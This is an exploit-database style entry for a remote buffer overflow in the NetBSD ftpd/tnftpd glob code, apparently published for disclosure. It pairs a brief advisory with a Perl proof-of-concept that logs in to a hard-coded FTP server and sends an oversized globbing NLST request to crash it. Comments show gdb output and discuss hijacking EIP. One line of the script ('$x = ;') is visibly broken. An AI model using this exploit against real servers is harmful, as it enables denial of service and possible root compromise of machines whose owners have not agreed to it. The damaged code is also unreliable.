NetBSD 3.1 - 'FTPd / Tnftpd' Port Remote Buffer Overflow

source: https://www.securityfocus.com/bid/21377/info

NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory.

Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions.

#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based
buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope

use IO::Socket;

$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
                             PeerPort => '21',
                             Proto    => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;

print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = ;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";

while (<$sock>) {
       print;
}